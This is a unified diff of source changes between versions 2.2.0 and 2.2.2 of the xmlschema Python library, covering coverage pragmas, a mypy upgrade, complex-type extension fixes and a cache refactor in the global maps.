--- old/xmlschema-2.2.0/tox.ini 2023-02-06 07:20:42.000000000 +0100
+++ new/xmlschema-2.2.2/tox.ini 2023-03-05 21:30:24.000000000 +0100
@@ -44,7 +44,7 @@
[testenv:mypy-py37]
deps =
- mypy==0.991
+ mypy==1.0.1
elementpath==4.0.1
lxml-stubs
jinja2
@@ -53,7 +53,7 @@
[testenv:mypy-py{38,39,310,311}]
deps =
- mypy==0.991
+ mypy==1.0.1
elementpath==4.0.1
lxml-stubs
jinja2
@@ -74,7 +74,7 @@
elementpath>=4.0.0, <5.0.0
lxml
jinja2
- mypy==0.991
+ mypy==1.0.1
lxml-stubs
commands =
pytest tests -ra
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema/__init__.py
new/xmlschema-2.2.2/xmlschema/__init__.py
--- old/xmlschema-2.2.0/xmlschema/__init__.py 2023-02-06 07:20:42.000000000
+0100
+++ new/xmlschema-2.2.2/xmlschema/__init__.py 2023-03-05 21:30:24.000000000
+0100
@@ -31,7 +31,7 @@
XsdComponent, XsdType, XsdElement, XsdAttribute
)
-__version__ = '2.2.0'
+__version__ = '2.2.2'
__author__ = "Davide Brunato"
__contact__ = "[email protected]"
__copyright__ = "Copyright 2016-2023, SISSA"
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema/converters/badgerfish.py
new/xmlschema-2.2.2/xmlschema/converters/badgerfish.py
--- old/xmlschema-2.2.0/xmlschema/converters/badgerfish.py 2022-08-26
17:33:28.000000000 +0200
+++ new/xmlschema-2.2.2/xmlschema/converters/badgerfish.py 2023-03-05
21:38:30.000000000 +0100
@@ -140,9 +140,6 @@
content: List[Tuple[Union[str, int], Any]] = []
attributes = {}
- if isinstance(element_data, list):
- print(element_data)
-
for name, value in element_data.items():
if name == '@xmlns':
continue
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema/dataobjects.py
new/xmlschema-2.2.2/xmlschema/dataobjects.py
--- old/xmlschema-2.2.0/xmlschema/dataobjects.py 2023-02-06
09:54:57.000000000 +0100
+++ new/xmlschema-2.2.2/xmlschema/dataobjects.py 2023-03-05
21:39:06.000000000 +0100
@@ -79,10 +79,10 @@
self._encoder = self.xsd_element
@overload
- def __getitem__(self, i: int) -> 'DataElement': ...
+ def __getitem__(self, i: int) -> 'DataElement': ... # pragma: no cover
@overload
- def __getitem__(self, s: slice) -> MutableSequence['DataElement']: ...
+ def __getitem__(self, s: slice) -> MutableSequence['DataElement']: ... #
pragma: no cover
def __getitem__(self, i: Union[int, slice]) \
-> Union['DataElement', MutableSequence['DataElement']]:
@@ -373,7 +373,7 @@
encoding=encoding,
method=method
)
- if isinstance(_string, bytes):
+ if isinstance(_string, bytes): # pragma: no cover
return _string.decode('utf-8')
return _string
@@ -408,7 +408,7 @@
parser = XPath2Parser(namespaces, strict=False)
context = self._get_xpath_context()
results = parser.parse(path).get_results(context)
- if not isinstance(results, list):
+ if not isinstance(results, list): # pragma: no cover
return []
return cast(List[DataElement], [e for e in results if isinstance(e,
DataElement)])
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema/resources.py
new/xmlschema-2.2.2/xmlschema/resources.py
--- old/xmlschema-2.2.0/xmlschema/resources.py 2023-02-06 07:20:42.000000000
+0100
+++ new/xmlschema-2.2.2/xmlschema/resources.py 2023-02-11 11:41:50.000000000
+0100
@@ -188,7 +188,7 @@
return False
try:
urlsplit(obj.strip())
- except ValueError:
+ except ValueError: # pragma: no cover
return False
else:
return isinstance(obj, Path)
@@ -202,7 +202,7 @@
return False
try:
return not is_local_scheme(urlsplit(obj.strip()).scheme)
- except ValueError:
+ except ValueError: # pragma: no cover
return False
elif isinstance(obj, bytes):
@@ -210,7 +210,7 @@
return False
try:
return not
is_local_scheme(urlsplit(obj.strip().decode('utf-8')).scheme)
- except ValueError:
+ except ValueError: # pragma: no cover
return False
else:
return False
@@ -222,7 +222,7 @@
return False
try:
return is_local_scheme(urlsplit(obj.strip()).scheme)
- except ValueError:
+ except ValueError: # pragma: no cover
return False
elif isinstance(obj, bytes):
@@ -230,7 +230,7 @@
return False
try:
return
is_local_scheme(urlsplit(obj.strip().decode('utf-8')).scheme)
- except ValueError:
+ except ValueError: # pragma: no cover
return False
else:
return isinstance(obj, Path)
@@ -954,7 +954,7 @@
encoding=encoding,
method=method
)
- if isinstance(_string, bytes):
+ if isinstance(_string, bytes): # pragma: no cover
return _string.decode('utf-8')
return _string
@@ -1201,7 +1201,7 @@
def _select_elements(token: XPathToken, node: ResourceNodeType) ->
Iterator[ElementType]:
context = XPathContext(node)
for item in token.select(context):
- if not isinstance(item, ElementNode):
+ if not isinstance(item, ElementNode): # pragma: no cover
msg = "XPath expressions on XML resources can select only
elements"
raise XMLResourceError(msg)
yield cast(ElementType, item.elem)
@@ -1210,7 +1210,7 @@
ancestors: List[ElementType]) ->
Iterator[ElementType]:
context = XPathContext(node)
for item in token.select(context):
- if not isinstance(item, ElementNode):
+ if not isinstance(item, ElementNode): # pragma: no cover
msg = "XPath expressions on XML resources can select only
elements"
raise XMLResourceError(msg)
elif item.elem is self._root:
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema/translation.py
new/xmlschema-2.2.2/xmlschema/translation.py
--- old/xmlschema-2.2.0/xmlschema/translation.py 2022-05-20
22:00:15.000000000 +0200
+++ new/xmlschema-2.2.2/xmlschema/translation.py 2023-02-11
11:41:50.000000000 +0100
@@ -33,7 +33,7 @@
global _translation
global _installed
- if localedir is None:
+ if localedir is None: # pragma: no cover
localedir = Path(__file__).parent.joinpath('locale').resolve()
translation = _gettext.translation(
@@ -58,7 +58,7 @@
if _installed and _translation is not None:
import builtins
- if builtins.__dict__.get('_') == _translation.gettext:
+ if builtins.__dict__.get('_') == _translation.gettext: # pragma: no
cover
builtins.__dict__.pop('_')
_translation = None
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore'
old/xmlschema-2.2.0/xmlschema/validators/complex_types.py
new/xmlschema-2.2.2/xmlschema/validators/complex_types.py
--- old/xmlschema-2.2.0/xmlschema/validators/complex_types.py 2023-02-06
07:20:42.000000000 +0100
+++ new/xmlschema-2.2.2/xmlschema/validators/complex_types.py 2023-03-05
21:30:24.000000000 +0100
@@ -432,7 +432,7 @@
self.content = self.schema.create_empty_content_group(
parent=self, elem=base_type.content.elem
)
- elif base_type.mixed:
+ else:
# Empty mixed model extension
self.content = self.schema.create_empty_content_group(self)
self.content.append(self.schema.create_empty_content_group(self.content))
@@ -477,7 +477,7 @@
if base_type.content.model == 'all' and base_type.content and
group:
msg = _("XSD 1.0 does not allow extension of a not empty 'all'
model group")
self.parse_error(msg)
- if base_type.mixed != self.mixed and base_type.name !=
XSD_ANY_TYPE:
+ if base_type.mixed is not self.mixed:
msg = _("base has a different content type (mixed=%r) "
"and the extension group is not empty")
self.parse_error(msg % base_type.mixed, elem)
@@ -488,12 +488,16 @@
elif base_type.has_simple_content():
self.content = base_type.content
else:
+ # Derived type has an empty content
+ if self.mixed is not base_type.mixed:
+ if self.mixed:
+ msg = _("extended type has a mixed content but the base is
element-only")
+ self.parse_error(msg, elem)
+ self.mixed = base_type.mixed # not an error if mixed='false'
+
self.content = self.schema.create_empty_content_group(self)
self.content.append(base_type.content)
self.content.elem.append(base_type.content.elem)
- if base_type.mixed != self.mixed and base_type.name !=
XSD_ANY_TYPE and self.mixed:
- msg = _("extended type has a mixed content but the base is
element-only")
- self.parse_error(msg, elem)
self._parse_content_tail(elem, derivation='extension',
base_attributes=base_type.attributes)
@@ -911,22 +915,16 @@
self.content = self.schema.xsd_group_class(
group_elem, self.schema, self
)
- elif base_type.content.max_occurs is None:
- self.content = self.schema.create_empty_content_group(
- parent=self,
- model=base_type.content.model,
- minOccurs=str(base_type.content.min_occurs),
- maxOccurs='unbounded',
- )
else:
+ max_occurs = base_type.content.max_occurs
self.content = self.schema.create_empty_content_group(
parent=self,
model=base_type.content.model,
minOccurs=str(base_type.content.min_occurs),
- maxOccurs=str(base_type.content.max_occurs),
+ maxOccurs='unbounded' if max_occurs is None else
str(max_occurs),
)
- elif base_type.mixed:
+ else:
# Empty mixed model extension
self.content = self.schema.create_empty_content_group(self)
self.content.append(self.schema.create_empty_content_group(self.content))
@@ -985,7 +983,7 @@
content.extend(group)
content.elem.extend(group.elem)
- if base_type.mixed != self.mixed and base_type.name !=
XSD_ANY_TYPE:
+ if base_type.mixed is not self.mixed:
msg = _("base has a different content type (mixed=%r) "
"and the extension group is not empty.")
self.parse_error(msg % base_type.mixed, elem)
@@ -997,12 +995,16 @@
elif base_type.has_simple_content():
self.content = base_type.content
else:
+ # Derived type has an empty content
+ if self.mixed is not base_type.mixed:
+ if self.mixed:
+ msg = _("extended type has a mixed content but the base is
element-only")
+ self.parse_error(msg, elem)
+ self.mixed = base_type.mixed # not an error if mixed='false'
+
self.content = self.schema.create_empty_content_group(self)
self.content.append(base_type.content)
self.content.elem.append(base_type.content.elem)
- if base_type.mixed != self.mixed and base_type.name !=
XSD_ANY_TYPE and self.mixed:
- msg = _("extended type has a mixed content but the base is
element-only")
- self.parse_error(msg, elem)
if self.open_content is None:
default_open_content = self.default_open_content
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema/validators/global_maps.py
new/xmlschema-2.2.2/xmlschema/validators/global_maps.py
--- old/xmlschema-2.2.0/xmlschema/validators/global_maps.py 2022-09-26
12:47:27.000000000 +0200
+++ new/xmlschema-2.2.2/xmlschema/validators/global_maps.py 2023-03-05
21:30:24.000000000 +0100
@@ -190,12 +190,22 @@
XSD_GROUP: validator.xsd_group_class,
XSD_ELEMENT: validator.xsd_element_class,
}
+ self.load_namespace = lru_cache(maxsize=1000)(self._load_namespace)
def __repr__(self) -> str:
return '%s(validator=%r, validation=%r)' % (
self.__class__.__name__, self.validator, self.validation
)
+ def __getstate__(self) -> Dict[str, Any]:
+ state = self.__dict__.copy()
+ state.pop('load_namespace', None)
+ return state
+
+ def __setstate__(self, state: Dict[str, Any]) -> None:
+ self.__dict__.update(state)
+ self.load_namespace = lru_cache(maxsize=1000)(self._load_namespace)
+
def copy(self, validator: Optional[SchemaType] = None,
validation: Optional[str] = None) -> 'XsdGlobals':
"""Makes a copy of the object."""
@@ -470,8 +480,7 @@
for obj in ns_schemas):
ns_schemas.append(schema)
- @lru_cache(maxsize=1000)
- def load_namespace(self, namespace: str, build: bool = True) -> bool:
+ def _load_namespace(self, namespace: str, build: bool = True) -> bool:
"""
Load namespace from available location hints. Returns `True` if the
namespace
is already loaded or if the namespace can be loaded from one of the
locations,
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema/validators/identities.py
new/xmlschema-2.2.2/xmlschema/validators/identities.py
--- old/xmlschema-2.2.0/xmlschema/validators/identities.py 2023-02-06
07:20:42.000000000 +0100
+++ new/xmlschema-2.2.2/xmlschema/validators/identities.py 2023-03-05
21:41:54.000000000 +0100
@@ -124,7 +124,6 @@
@property
def target_namespace(self) -> str:
- # TODO: implement a property in elementpath for getting XPath token's
namespace
if self.token is None:
pass # xpathDefaultNamespace="##targetNamespace"
elif self.token.symbol == ':':
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema/validators/xsdbase.py
new/xmlschema-2.2.2/xmlschema/validators/xsdbase.py
--- old/xmlschema-2.2.0/xmlschema/validators/xsdbase.py 2023-02-06
07:20:42.000000000 +0100
+++ new/xmlschema-2.2.2/xmlschema/validators/xsdbase.py 2023-03-05
21:42:55.000000000 +0100
@@ -584,13 +584,13 @@
if self.parent is None:
return self
component = self.parent
- while component is not self: # pragma: no cover
+ while component is not self:
if component.parent is None:
return component
component = component.parent
- else:
+ else: # pragma: no cover
msg = _("parent circularity from {}")
- raise XMLSchemaValueError(msg.format(self)) # pragma: no cover
+ raise XMLSchemaValueError(msg.format(self))
def get_parent_type(self) -> Optional['XsdType']:
"""
@@ -768,7 +768,7 @@
@staticmethod
def is_complex() -> bool:
"""Returns `True` if the instance is a complexType, `False`
otherwise."""
- return False
+ raise NotImplementedError()
def is_atomic(self) -> bool:
"""Returns `True` if the instance is an atomic simpleType, `False`
otherwise."""
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema/xpath.py
new/xmlschema-2.2.2/xmlschema/xpath.py
--- old/xmlschema-2.2.0/xmlschema/xpath.py 2022-08-26 17:33:28.000000000
+0200
+++ new/xmlschema-2.2.2/xmlschema/xpath.py 2023-02-11 11:41:50.000000000
+0100
@@ -24,7 +24,7 @@
from .aliases import NamespacesType, SchemaType, BaseXsdType, XPathElementType
from .helpers import get_qname, local_name, get_prefixed_qname
-if sys.version_info < (3, 8):
+if sys.version_info < (3, 8): # pragma: no cover
XsdSchemaProtocol = SchemaType
XsdElementProtocol = XPathElementType
XsdTypeProtocol = BaseXsdType
@@ -87,10 +87,10 @@
def is_instance(self, obj: Any, type_qname: str) -> bool:
# FIXME: use elementpath.datatypes for checking atomic datatypes
xsd_type = self._schema.maps.types[type_qname]
- if isinstance(xsd_type, tuple):
+ if isinstance(xsd_type, tuple): # pragma: no cover
from .validators import XMLSchemaNotBuiltError
- msg = "XSD type %r is not built"
- raise XMLSchemaNotBuiltError(xsd_type[1], msg % type_qname)
+ schema = xsd_type[1]
+ raise XMLSchemaNotBuiltError(schema, f"XSD type {type_qname!r} is
not built")
try:
xsd_type.encode(obj)
@@ -101,10 +101,11 @@
def cast_as(self, obj: Any, type_qname: str) -> Any:
xsd_type = self._schema.maps.types[type_qname]
- if isinstance(xsd_type, tuple):
+ if isinstance(xsd_type, tuple): # pragma: no cover
from .validators import XMLSchemaNotBuiltError
- msg = "XSD type %r is not built"
- raise XMLSchemaNotBuiltError(xsd_type[1], msg % type_qname)
+ schema = xsd_type[1]
+ raise XMLSchemaNotBuiltError(schema, f"XSD type {type_qname!r} is
not built")
+
return xsd_type.decode(obj)
def iter_atomic_types(self) -> Iterator[XsdTypeProtocol]:
@@ -138,10 +139,10 @@
raise NotImplementedError
@overload
- def __getitem__(self, i: int) -> E: ...
+ def __getitem__(self, i: int) -> E: ... # pragma: no cover
@overload
- def __getitem__(self, s: slice) -> Sequence[E]: ...
+ def __getitem__(self, s: slice) -> Sequence[E]: ... # pragma: no cover
def __getitem__(self, i: Union[int, slice]) -> Union[E, Sequence[E]]:
try:
@@ -299,7 +300,7 @@
def __iter__(self) -> Iterator['XPathElement']:
if not self.type.has_simple_content():
- yield from self.type.content.iter_elements() # type:
ignore[union-attr]
+ yield from self.type.content.iter_elements() # type:
ignore[union-attr,misc]
@property
def xpath_proxy(self) -> XMLSchemaProxy:
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema.egg-info/PKG-INFO
new/xmlschema-2.2.2/xmlschema.egg-info/PKG-INFO
--- old/xmlschema-2.2.0/xmlschema.egg-info/PKG-INFO 2023-02-06
10:06:40.000000000 +0100
+++ new/xmlschema-2.2.2/xmlschema.egg-info/PKG-INFO 2023-03-05
22:10:04.000000000 +0100
@@ -1,6 +1,6 @@
Metadata-Version: 2.1
Name: xmlschema
-Version: 2.2.0
+Version: 2.2.2
Summary: An XML Schema validator and decoder
Home-page: https://github.com/sissaschool/xmlschema
Author: Davide Brunato
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/xmlschema.egg-info/SOURCES.txt
new/xmlschema-2.2.2/xmlschema.egg-info/SOURCES.txt
--- old/xmlschema-2.2.0/xmlschema.egg-info/SOURCES.txt 2023-02-06
10:06:40.000000000 +0100
+++ new/xmlschema-2.2.2/xmlschema.egg-info/SOURCES.txt 2023-03-05
22:10:04.000000000 +0100
@@ -1,7 +1,9 @@
+.coveragerc
CHANGELOG.rst
LICENSE
MANIFEST.in
README.rst
+mypy.ini
requirements-dev.txt
setup.py
tox.ini
@@ -269,6 +271,9 @@
tests/test_cases/issues/issue_324/issue_324.zip
tests/test_cases/issues/issue_324/issue_324a.xsd
tests/test_cases/issues/issue_324/issue_324b.xsd
+tests/test_cases/issues/issue_334/issue_334.xml
+tests/test_cases/issues/issue_334/issue_334.xsd
+tests/test_cases/issues/issue_334/issue_334.zip
tests/test_cases/mypy/extra_validator.py
tests/test_cases/mypy/schema_source.py
tests/test_cases/mypy/simple_types.py